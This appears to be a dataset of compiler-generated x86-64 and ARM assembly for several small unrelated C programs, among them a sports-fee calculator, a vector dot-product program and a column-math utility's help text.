.ascii "Winter\000"
.align 2
.LC3:
.ascii "boys\000"
.global __aeabi_i2d
.global __aeabi_dmul
.align 2
.LC4:
.ascii "Judo\000"
.align 2
.LC5:
.ascii "girls\000"
.align 2
.LC6:
.ascii "Gymnastics\000"
.align 2
.LC7:
.ascii "mixed\000"
.align 2
.LC8:
.ascii "Spring\000"
.align 2
.LC9:
.ascii "Tennis\000"
.align 2
.LC10:
.ascii "Athletics\000"
.align 2
.LC11:
.ascii "Cycling\000"
.align 2
.LC12:
.ascii "Summer\000"
.align 2
.LC13:
.ascii "Football\000"
.align 2
.LC14:
.ascii "Volleyball\000"
.align 2
.LC15:
.ascii "Swimming\000"
.align 2
.LC16:
.ascii "%s %.2lf lv.\000"
.align 2
.LC17:
.word __stack_chk_guard
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 80
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, r5, fp, lr}
add fp, sp, #12
sub sp, sp, #80
ldr r3, .L16
ldr r3, [r3]
str r3, [fp, #-16]
mov r3,#0
sub r2, fp, #56
sub r3, fp, #76
mov r1, r3
ldr r0, .L16+4
bl __isoc99_scanf
sub r2, fp, #88
sub r3, fp, #92
mov r1, r3
ldr r0, .L16+8
bl __isoc99_scanf
mov r2, #0
mov r3, #0
str r2, [fp, #-84]
str r3, [fp, #-80]
sub r3, fp, #76
ldr r1, .L16+12
mov r0, r3
bl strcmp
mov r3, r0
cmp r3, #0
bne .L2
sub r3, fp, #56
ldr r1, .L16+16
mov r0, r3
bl strcmp
mov r3, r0
cmp r3, #0
bne .L3
ldr r3, [fp, #-92]
mov r0, r3
bl __aeabi_i2d
ldr r2, .L16+20
ldr r3, .L16+24
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, [fp, #-88]
mov r0, r3
bl __aeabi_i2d
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dmul
mov r2, r0
mov r3, r1
str r2, [fp, #-84]
str r3, [fp, #-80]
sub r3, fp, #36
ldr r2, .L16+28
ldm r2, {r0, r1}
str r0, [r3]
add r3, r3, #4
strb r1, [r3]
b .L4
.L3:
sub r3, fp, #56
ldr r1, .L16+32
mov r0, r3
bl strcmp
mov r3, r0
cmp r3, #0
bne .L5
ldr r3, [fp, #-92]
mov r0, r3
bl __aeabi_i2d
ldr r2, .L16+20
ldr r3, .L16+24
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, [fp, #-88]
mov r0, r3
bl __aeabi_i2d
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dmul
mov r2, r0
mov r3, r1
str r2, [fp, #-84]
str r3, [fp, #-80]
sub r3, fp, #36
ldr r2, .L16+36
ldm r2, {r0, r1, r2}
stmia r3!, {r0, r1}
strh r2, [r3] @ movhi
add r3, r3, #2
lsr r2, r2, #16
strb r2, [r3]
b .L4
.L5:
sub r3, fp, #56
ldr r1, .L16+40
mov r0, r3
bl strcmp
mov r3, r0
cmp r3, #0
bne .L4
ldr r3, [fp, #-92]
mov r0, r3
bl __aeabi_i2d
mov r2, #0
ldr r3, .L16+44
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, [fp, #-88]
mov r0, r3
bl __aeabi_i2d
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dmul
mov r2, r0
mov r3, r1
str r2, [fp, #-84]
str r3, [fp, #-80]
sub r3, fp, #36
ldr r2, .L16+48
str r2, [r3]
b .L4
.L2:
sub r3, fp, #76
ldr r1, .L16+52
mov r0, r3
bl strcmp
mov r3, r0
cmp r3, #0
bne .L6
sub r3, fp, #56
ldr r1, .L16+16
mov r0, r3
bl strcmp
mov r3, r0
cmp r3, #0
bne .L7
ldr r3, [fp, #-92]
mov r0, r3
bl __aeabi_i2d
ldr r2, .L16+56
ldr r3, .L16+60
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, [fp, #-88]
mov r0, r3
bl __aeabi_i2d
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dmul
mov r2, r0
mov r3, r1
str r2, [fp, #-84]
str r3, [fp, #-80]
sub r3, fp, #36
ldr r2, .L16+64
ldm r2, {r0, r1}
str r0, [r3]
add r3, r3, #4
strh r1, [r3] @ movhi
add r3, r3, #2
lsr r2, r1, #16
strb r2, [r3]
b .L4
.L7:
sub r3, fp, #56
ldr r1, .L16+32
mov r0, r3
bl strcmp
mov r3, r0
cmp r3, #0
bne .L8
ldr r3, [fp, #-92]
mov r0, r3
bl __aeabi_i2d
ldr r2, .L16+56
ldr r3, .L16+60
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, [fp, #-88]
mov r0, r3
bl __aeabi_i2d
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dmul
mov r2, r0
mov r3, r1
str r2, [fp, #-84]
str r3, [fp, #-80]
sub r3, fp, #36
ldr r2, .L16+68
ldm r2, {r0, r1, r2}
stmia r3!, {r0, r1}
strh r2, [r3] @ movhi
b .L4
.L8:
sub r3, fp, #56
ldr r1, .L16+40
mov r0, r3
bl strcmp
mov r3, r0
cmp r3, #0
bne .L4
ldr r3, [fp, #-92]
mov r0, r3
bl __aeabi_i2d
mov r2, #0
ldr r3, .L16+72
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, [fp, #-88]
mov r0, r3
bl __aeabi_i2d
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dmul
mov r2, r0
mov r3, r1
str r2, [fp, #-84]
str r3, [fp, #-80]
sub r3, fp, #36
ldr r2, .L16+76
ldm r2, {r0, r1}
stm r3, {r0, r1}
b .L4
.L6:
sub r3, fp, #76
ldr r1, .L16+80
mov r0, r3
bl strcmp
mov r3, r0
cmp r3, #0
bne .L4
sub r3, fp, #56
ldr r1, .L16+16
mov r0, r3
bl strcmp
mov r3, r0
cmp r3, #0
bne .L9
ldr r3, [fp, #-92]
mov r0, r3
bl __aeabi_i2d
mov r2, #0
ldr r3, .L16+84
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, [fp, #-88]
mov r0, r3
bl __aeabi_i2d
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dmul
mov r2, r0
mov r3, r1
str r2, [fp, #-84]
str r3, [fp, #-80]
sub r3, fp, #36
ldr r2, .L16+88
ldm r2, {r0, r1, r2}
stmia r3!, {r0, r1}
strb r2, [r3]
b .L4
.L9:
sub r3, fp, #56
ldr r1, .L16+32
mov r0, r3
bl strcmp
mov r3, r0
cmp r3, #0
bne .L10
ldr r3, [fp, #-92]
mov r0, r3
bl __aeabi_i2d
mov r2, #0
ldr r3, .L16+84
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, [fp, #-88]
mov r0, r3
bl __aeabi_i2d
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dmul
mov r2, r0
mov r3, r1
str r2, [fp, #-84]
str r3, [fp, #-80]
sub r3, fp, #36
ldr r2, .L16+92
ldm r2, {r0, r1, r2}
stmia r3!, {r0, r1}
strh r2, [r3] @ movhi
add r3, r3, #2
lsr r2, r2, #16
strb r2, [r3]
b .L4
.L10:
sub r3, fp, #56
ldr r1, .L16+40
mov r0, r3
bl strcmp
mov r3, r0
cmp r3, #0
bne .L4
ldr r3, [fp, #-92]
mov r0, r3
bl __aeabi_i2d
mov r2, #0
ldr r3, .L16+96
bl __aeabi_dmul
mov r2, r0
mov r3, r1
mov r4, r2
mov r5, r3
ldr r3, [fp, #-88]
mov r0, r3
bl __aeabi_i2d
mov r2, r0
mov r3, r1
mov r0, r4
mov r1, r5
bl __aeabi_dmul
mov r2, r0
mov r3, r1
str r2, [fp, #-84]
str r3, [fp, #-80]
sub r3, fp, #36
ldr r2, .L16+100
ldm r2, {r0, r1, r2}
stmia r3!, {r0, r1}
strb r2, [r3]
.L4:
ldr r3, [fp, #-92]
cmp r3, #49
ble .L11
mov r2, #0
ldr r3, .L16+104
sub r1, fp, #84
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
str r2, [fp, #-84]
str r3, [fp, #-80]
b .L12
.L11:
ldr r3, [fp, #-92]
cmp r3, #19
ble .L13
ldr r3, [fp, #-92]
cmp r3, #49
bgt .L13
ldr r2, .L16+20
ldr r3, .L16+108
sub r1, fp, #84
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
str r2, [fp, #-84]
str r3, [fp, #-80]
b .L12
.L13:
ldr r3, [fp, #-92]
cmp r3, #9
ble .L12
ldr r3, [fp, #-92]
cmp r3, #19
bgt .L12
ldr r2, .L16+112
ldr r3, .L16+116
sub r1, fp, #84
ldmia r1, {r0-r1}
bl __aeabi_dmul
mov r2, r0
mov r3, r1
str r2, [fp, #-84]
str r3, [fp, #-80]
.L12:
sub r1, fp, #36
sub r3, fp, #84
ldmia r3, {r2-r3}
ldr r0, .L16+120
bl printf
mov r3, #0
ldr r2, .L16
ldr r1, [r2]
ldr r2, [fp, #-16]
eors r1, r2, r1
mov r2, #0
beq .L15
bl __stack_chk_fail
.L15:
mov r0, r3
sub sp, fp, #12
@ sp needed
pop {r4, r5, fp, pc}
.L17:
.align 2
.L16:
.word .LC17
.word .LC0
.word .LC1
.word .LC2
.word .LC3
.word 858993459
.word 1076048691
.word .LC4
.word .LC5
.word .LC6
.word .LC7
.word 1076101120
.word 6908755
.word .LC8
.word -858993459
.word 1075629260
.word .LC9
.word .LC10
.word 1076035584
.word .LC11
.word .LC12
.word 1076756480
.word .LC13
.word .LC14
.word 1077149696
.word .LC15
.word 1071644672
.word 1072378675
.word 1717986918
.word 1072588390
.word .LC16
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "978652.c"
.intel_syntax noprefix
.text
.globl produtoEscalar
.type produtoEscalar, @function
produtoEscalar:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov DWORD PTR -20[rbp], edi
mov QWORD PTR -32[rbp], rsi
mov QWORD PTR -40[rbp], rdx
mov DWORD PTR -4[rbp], 0
mov DWORD PTR -8[rbp], 0
jmp .L2
.L3:
mov eax, DWORD PTR -8[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -32[rbp]
add rax, rdx
mov edx, DWORD PTR [rax]
mov eax, DWORD PTR -8[rbp]
cdqe
lea rcx, 0[0+rax*4]
mov rax, QWORD PTR -40[rbp]
add rax, rcx
mov eax, DWORD PTR [rax]
imul eax, edx
add DWORD PTR -4[rbp], eax
add DWORD PTR -8[rbp], 1
.L2:
mov eax, DWORD PTR -8[rbp]
cmp eax, DWORD PTR -20[rbp]
jl .L3
mov eax, DWORD PTR -4[rbp]
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size produtoEscalar, .-produtoEscalar
.section .rodata
.LC0:
.string "Dimens\303\243o dos vetores: "
.LC1:
.string "%d"
.align 8
.LC2:
.string "Escreva os %d elementos inteiros de cada um dos DOIS vetores.\n"
.LC3:
.string "Produto escalar: %d\n"
.text
.globl main
.type main, @function
main:
.LFB1:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
push r15
push r14
push r13
push r12
push rbx
sub rsp, 88
.cfi_offset 15, -24
.cfi_offset 14, -32
.cfi_offset 13, -40
.cfi_offset 12, -48
.cfi_offset 3, -56
mov rax, QWORD PTR fs:40
mov QWORD PTR -56[rbp], rax
xor eax, eax
mov rax, rsp
mov rbx, rax
lea rdi, .LC0[rip]
mov eax, 0
call printf@PLT
lea rax, -96[rbp]
mov rsi, rax
lea rdi, .LC1[rip]
mov eax, 0
call __isoc99_scanf@PLT
mov eax, DWORD PTR -96[rbp]
movsx rdx, eax
sub rdx, 1
mov QWORD PTR -88[rbp], rdx
movsx rdx, eax
mov QWORD PTR -112[rbp], rdx
mov QWORD PTR -104[rbp], 0
movsx rdx, eax
mov QWORD PTR -128[rbp], rdx
mov QWORD PTR -120[rbp], 0
cdqe
lea rdx, 0[0+rax*4]
mov eax, 16
sub rax, 1
add rax, rdx
mov esi, 16
mov edx, 0
div rsi
imul rax, rax, 16
mov rcx, rax
and rcx, -4096
mov rdx, rsp
sub rdx, rcx
.L6:
cmp rsp, rdx
je .L7
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L6
.L7:
mov rdx, rax
and edx, 4095
sub rsp, rdx
mov rdx, rax
and edx, 4095
test rdx, rdx
je .L8
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L8:
mov rax, rsp
add rax, 3
shr rax, 2
sal rax, 2
mov QWORD PTR -80[rbp], rax
mov eax, DWORD PTR -96[rbp]
movsx rdx, eax
sub rdx, 1
mov QWORD PTR -72[rbp], rdx
movsx rdx, eax
mov r14, rdx
mov r15d, 0
movsx rdx, eax
mov r12, rdx
mov r13d, 0
cdqe
lea rdx, 0[0+rax*4]
mov eax, 16
sub rax, 1
add rax, rdx
mov edi, 16
mov edx, 0
div rdi
imul rax, rax, 16
mov rcx, rax
and rcx, -4096
mov rdx, rsp
sub rdx, rcx
.L9:
cmp rsp, rdx
je .L10
sub rsp, 4096
or QWORD PTR 4088[rsp], 0
jmp .L9
.L10:
mov rdx, rax
and edx, 4095
sub rsp, rdx
mov rdx, rax
and edx, 4095
test rdx, rdx
je .L11
and eax, 4095
sub rax, 8
add rax, rsp
or QWORD PTR [rax], 0
.L11:
mov rax, rsp
add rax, 3
shr rax, 2
sal rax, 2
mov QWORD PTR -64[rbp], rax
mov eax, DWORD PTR -96[rbp]
mov esi, eax
lea rdi, .LC2[rip]
mov eax, 0
call printf@PLT
mov DWORD PTR -92[rbp], 0
jmp .L12
.L13:
mov eax, DWORD PTR -92[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -80[rbp]
add rax, rdx
mov rsi, rax
lea rdi, .LC1[rip]
mov eax, 0
call __isoc99_scanf@PLT
add DWORD PTR -92[rbp], 1
.L12:
mov eax, DWORD PTR -96[rbp]
cmp DWORD PTR -92[rbp], eax
jl .L13
mov DWORD PTR -92[rbp], 0
jmp .L14
.L15:
mov eax, DWORD PTR -92[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -64[rbp]
add rax, rdx
mov rsi, rax
lea rdi, .LC1[rip]
mov eax, 0
call __isoc99_scanf@PLT
add DWORD PTR -92[rbp], 1
.L14:
mov eax, DWORD PTR -96[rbp]
cmp DWORD PTR -92[rbp], eax
jl .L15
mov eax, DWORD PTR -96[rbp]
mov rdx, QWORD PTR -64[rbp]
mov rcx, QWORD PTR -80[rbp]
mov rsi, rcx
mov edi, eax
call produtoEscalar
mov esi, eax
lea rdi, .LC3[rip]
mov eax, 0
call printf@PLT
mov eax, 0
mov rsp, rbx
mov rbx, QWORD PTR -56[rbp]
sub rbx, QWORD PTR fs:40
je .L17
call __stack_chk_fail@PLT
.L17:
lea rsp, -40[rbp]
pop rbx
pop r12
pop r13
pop r14
pop r15
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE1:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "978652.c"
.text
.align 2
.global produtoEscalar
.syntax unified
.arm
.fpu softvfp
.type produtoEscalar, %function
produtoEscalar:
@ args = 0, pretend = 0, frame = 24
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #28
str r0, [fp, #-16]
str r1, [fp, #-20]
str r2, [fp, #-24]
mov r3, #0
str r3, [fp, #-8]
mov r3, #0
str r3, [fp, #-12]
b .L2
.L3:
ldr r3, [fp, #-12]
lsl r3, r3, #2
ldr r2, [fp, #-20]
add r3, r2, r3
ldr r3, [r3]
ldr r2, [fp, #-12]
lsl r2, r2, #2
ldr r1, [fp, #-24]
add r2, r1, r2
ldr r2, [r2]
mul r3, r2, r3
ldr r2, [fp, #-8]
add r3, r2, r3
str r3, [fp, #-8]
ldr r3, [fp, #-12]
add r3, r3, #1
str r3, [fp, #-12]
.L2:
ldr r2, [fp, #-12]
ldr r3, [fp, #-16]
cmp r2, r3
blt .L3
ldr r3, [fp, #-8]
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size produtoEscalar, .-produtoEscalar
.section .rodata
.align 2
.LC0:
.ascii "Dimens\303\243o dos vetores: \000"
.align 2
.LC1:
.ascii "%d\000"
.align 2
.LC2:
.ascii "Escreva os %d elementos inteiros de cada um dos DOI"
.ascii "S vetores.\012\000"
.align 2
.LC3:
.ascii "Produto escalar: %d\012\000"
.align 2
.LC4:
.word __stack_chk_guard
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 32
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, fp, lr}
add fp, sp, #8
sub sp, sp, #36
ldr r3, .L12
ldr r3, [r3]
str r3, [fp, #-16]
mov r3,#0
mov r3, sp
mov r4, r3
ldr r0, .L12+4
bl printf
sub r3, fp, #40
mov r1, r3
ldr r0, .L12+8
bl __isoc99_scanf
ldr ip, [fp, #-40]
sub r3, ip, #1
str r3, [fp, #-32]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
lsl r3, r3, #2
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
mov r3, sp
add r3, r3, #3
lsr r3, r3, #2
lsl r3, r3, #2
str r3, [fp, #-28]
ldr ip, [fp, #-40]
sub r3, ip, #1
str r3, [fp, #-24]
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
mov r0, r3
mov r1, #0
mov r2, #0
mov r3, #0
lsl r3, r1, #5
orr r3, r3, r0, lsr #27
lsl r2, r0, #5
mov r3, ip
lsl r3, r3, #2
add r3, r3, #7
lsr r3, r3, #3
lsl r3, r3, #3
sub sp, sp, r3
mov r3, sp
add r3, r3, #3
lsr r3, r3, #2
lsl r3, r3, #2
str r3, [fp, #-20]
ldr r3, [fp, #-40]
mov r1, r3
ldr r0, .L12+12
bl printf
mov r3, #0
str r3, [fp, #-36]
b .L6
.L7:
ldr r3, [fp, #-36]
lsl r3, r3, #2
ldr r2, [fp, #-28]
add r3, r2, r3
mov r1, r3
ldr r0, .L12+8
bl __isoc99_scanf
ldr r3, [fp, #-36]
add r3, r3, #1
str r3, [fp, #-36]
.L6:
ldr r3, [fp, #-40]
ldr r2, [fp, #-36]
cmp r2, r3
blt .L7
mov r3, #0
str r3, [fp, #-36]
b .L8
.L9:
ldr r3, [fp, #-36]
lsl r3, r3, #2
ldr r2, [fp, #-20]
add r3, r2, r3
mov r1, r3
ldr r0, .L12+8
bl __isoc99_scanf
ldr r3, [fp, #-36]
add r3, r3, #1
str r3, [fp, #-36]
.L8:
ldr r3, [fp, #-40]
ldr r2, [fp, #-36]
cmp r2, r3
blt .L9
ldr r3, [fp, #-40]
ldr r2, [fp, #-20]
ldr r1, [fp, #-28]
mov r0, r3
bl produtoEscalar
mov r3, r0
mov r1, r3
ldr r0, .L12+16
bl printf
mov r3, #0
mov sp, r4
ldr r2, .L12
ldr r1, [r2]
ldr r2, [fp, #-16]
eors r1, r2, r1
mov r2, #0
beq .L11
bl __stack_chk_fail
.L11:
mov r0, r3
sub sp, fp, #8
@ sp needed
pop {r4, fp, pc}
.L13:
.align 2
.L12:
.word .LC4
.word .LC0
.word .LC1
.word .LC2
.word .LC3
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "762185.c"
.intel_syntax noprefix
.text
.globl up_testset
.type up_testset, @function
up_testset:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov QWORD PTR -24[rbp], rdi
mov rax, QWORD PTR -24[rbp]
movzx eax, BYTE PTR [rax]
mov BYTE PTR -1[rbp], al
mov rax, QWORD PTR -24[rbp]
mov BYTE PTR [rax], 1
movzx eax, BYTE PTR -1[rbp]
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size up_testset, .-up_testset
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "762185.c"
.text
.align 2
.global up_testset
.syntax unified
.arm
.fpu softvfp
.type up_testset, %function
up_testset:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
@ link register save eliminated.
str fp, [sp, #-4]!
add fp, sp, #0
sub sp, sp, #20
str r0, [fp, #-16]
ldr r3, [fp, #-16]
ldrb r3, [r3]
strb r3, [fp, #-5]
ldr r3, [fp, #-16]
mov r2, #1
strb r2, [r3]
ldrb r3, [fp, #-5] @ zero_extendqisi2
mov r0, r3
add sp, fp, #0
@ sp needed
ldr fp, [sp], #4
bx lr
.size up_testset, .-up_testset
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "142235.c"
.intel_syntax noprefix
.text
.globl main
.type main, @function
main:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 32
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
mov DWORD PTR -20[rbp], 7
lea rax, -20[rbp]
mov QWORD PTR -16[rbp], rax
mov rax, QWORD PTR -16[rbp]
mov DWORD PTR [rax], 9
mov QWORD PTR -16[rbp], 23
mov rax, QWORD PTR -16[rbp]
mov DWORD PTR -20[rbp], eax
lea rax, -20[rbp]
mov QWORD PTR -16[rbp], rax
mov rax, QWORD PTR -16[rbp]
mov ecx, DWORD PTR [rax]
mov edx, DWORD PTR -20[rbp]
mov eax, edx
sal eax, 2
add eax, edx
add eax, eax
add eax, ecx
sub eax, 253
mov rsi, QWORD PTR -8[rbp]
sub rsi, QWORD PTR fs:40
je .L3
call __stack_chk_fail@PLT
.L3:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "142235.c"
.text
.section .rodata
.align 2
.LC0:
.word __stack_chk_guard
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #16
ldr r3, .L4
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
mov r3, #7
str r3, [fp, #-16]
sub r3, fp, #16
str r3, [fp, #-12]
ldr r3, [fp, #-12]
mov r2, #9
str r2, [r3]
mov r3, #23
str r3, [fp, #-12]
ldr r3, [fp, #-12]
str r3, [fp, #-16]
sub r3, fp, #16
str r3, [fp, #-12]
ldr r3, [fp, #-12]
ldr r1, [r3]
ldr r2, [fp, #-16]
mov r3, r2
lsl r3, r3, #2
add r3, r3, r2
lsl r3, r3, #1
add r3, r1, r3
sub r3, r3, #253
ldr r2, .L4
ldr r1, [r2]
ldr r2, [fp, #-8]
eors r1, r2, r1
mov r2, #0
beq .L3
bl __stack_chk_fail
.L3:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L5:
.align 2
.L4:
.word .LC0
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "368776.c"
.intel_syntax noprefix
.text
.section .rodata
.align 8
.LC0:
.string "This is for testing parser and AST construction, which could be only syntax correct."
.text
.globl main
.type main, @function
main:
.LFB0:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
lea rdi, .LC0[rip]
call puts@PLT
lea rdi, .LC0[rip]
call puts@PLT
mov eax, 0
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE0:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "368776.c"
.text
.section .rodata
.align 2
.LC0:
.ascii "This is for testing parser and AST construction, wh"
.ascii "ich could be only syntax correct.\000"
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 0
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
ldr r0, .L3
bl puts
ldr r0, .L3
bl puts
mov r3, #0
mov r0, r3
pop {fp, pc}
.L4:
.align 2
.L3:
.word .LC0
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "600569.c"
.intel_syntax noprefix
.text
.section .rodata
.align 8
.LC0:
.string "----------------------------------------------------------------------\n"
.align 8
.LC1:
.string "xe-math_doublet v 3: 20.January.2019 [JRH]"
.LC2:
.string "%s\n"
.LC3:
.string "Modify column-y by column-x\n"
.align 8
.LC4:
.string "Non-numeric or non-finite fields produce NAN output (line-count preserved)\n"
.LC5:
.string "USAGE:\n"
.LC6:
.string "xe-math_doublet"
.LC7:
.string " \t%s [input] [options]\n"
.align 8
.LC8:
.string "\t\t[input]: file name or \"stdin\" in format <col1> <col2>\n"
.align 8
.LC9:
.string "VALID OPTIONS: defaults in []:\n"
.align 8
.LC10:
.string "\t-cx: column containing the modifier [%ld]\n"
.align 8
.LC11:
.string "\t-cy: column to be modified [%ld]\n"
.align 8
.LC12:
.string "\t-long: assume input is long-integers (0=NO 1=YES) [%d]\n"
.LC13:
.string "\t-t type of operation[%d]\n"
.LC14:
.string "\t\t1: y+x addition\n"
.LC15:
.string "\t\t2: y-x subtraction\n"
.LC16:
.string "\t\t3: y*x multiplication\n"
.LC17:
.string "\t\t4: y/x division\n"
.align 8
.LC18:
.string "\t-out: output modified column (0) or all columns (1) [%d]\n"
.LC19:
.string "EXAMPLES:\n"
.align 8
.LC20:
.string "\tcat datafile.txt | %s stdin -t 2\n"
.LC21:
.string "\t%s datafile.txt -t 1\n"
.LC22:
.string "OUTPUT:\n"
.LC23:
.string "\tsingle column result\n"
.LC24:
.string "%s"
.align 8
.LC25:
.string "\n--- Error [%s]: missing value for argument \"%s\"\n\n"
.LC26:
.string "-cx"
.LC27:
.string "-cy"
.LC28:
.string "-t"
.LC29:
.string "-long"
.LC30:
.string "-out"
.align 8
.LC31:
